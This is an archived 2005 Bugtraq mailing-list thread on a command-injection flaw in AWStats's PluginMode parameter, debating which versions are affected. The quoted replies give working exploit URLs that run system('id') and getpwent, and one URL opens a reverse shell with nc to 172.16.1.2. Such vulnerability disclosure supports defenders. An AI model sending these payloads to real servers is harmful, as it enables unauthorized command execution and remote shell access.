bugtraq - Re: AWStats <= 6.4 Multiple vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <42126865.6080308@deprese.net>
Date: Tue, 15 Feb 2005 22:23:49 +0100
From: Ondra Holecek <bln@...rese.net>
Cc: bugtraq@...urityfocus.com
Subject: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in
 6.3?


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

im sorry i didnt write it, only awstat 6.1 and 6.2 is vulnerable to this
bug (system('id'), etc.)

Ondra

Ondra Holecek wrote:
| It seems this bug works only on my server, i dont know why
|
| /awstats.pl?&PluginMode=:print+system('id')+;
|
| reply:
|
| uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
| Error:
|
| Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
| permissions) may be wrong.
| Check config file, permissions and AWStats documentation (in 'docs'
| directory).
|
|
| awstats: Advanced Web Statistics 6.1 (build 1.751)  (original)
| perl: This is perl, v5.8.5 built for i586-linux
| os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
| unknown GNU/Linux
|
| Ondra
|
|
| Jamie Pratt wrote:
| | So what are the conditions of this bug/vuln?  I can't reproduce this on
| | several 6.3 installs..:
| |
| | awstats 6.3 from source:
| |
| | request:
| |
| |
|
http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;

|
|
| |
| |
| | output:
| | ****************
| | Error: Can't locate object method "BuildFullHTMLOutput_print" via
| | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
| | line 1.
| |
| | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
| | permissions) may be wrong.
| | Check config file, permissions and AWStats documentation (in 'docs'
| | directory).
| | ***************
| |
| | regards,
| | jamie
| |
| | Ondra Holecek wrote:
| |
| |>
| |>
| |> GHC@....securityfocus.com wrote:
| |> |
| |> | /*==========================================*/
| |> | // GHC -> AWStats <- ADVISORY
| |> | \\ PRODUCT: AWStats
| |> | // VERSION: <= 6.3
| |> | \\ URL: http://awstats.sourceforge.net/
| |> | // VULNERABILITY CLASS: Multiple vulnerabilities
| |> | \\ RISK: high
| |> | /*==========================================*/
| |>
| |> [...]
| |>
| |> |
| |> | PluginMode=:print+getpwent
| |> |
| |> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
| |> | This will satisfy eval() requirements., and :print getpwent() is
| |> executed.
| |> |
| |> |
| |>
|
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

|
|
| |>
| |> |
| |> | Sanitazing limits user's input, but there is no filtration for call
| |> sympols '()'.
| |>
| |> no, user is not limited, he can execute ANY command if he add ; at the
| |> end of the command, try this
| |>
| |> awstats.pl?&PluginMode=:print+system('id')+;
| |>
| |> or even this
| |>
| |> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
| |>
| |>
| |> Ondra
| |
| |
|
|

- --
public key is available at http://www.deprese.net/gpg-public.key

# If it happens once, it's a bug.
# If it happens twice, it's a feature.
# If it happens more then twice, it's a design philosophy.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iD8DBQFCEmhlfz/hUj18TqkRAmGeAJ40W8PpxeYSzj5eHG75ZUEzN3pwLACdE36n
lE+Fpdgw8DvGdai7VkItBZE=
=si2u
-----END PGP SIGNATURE-----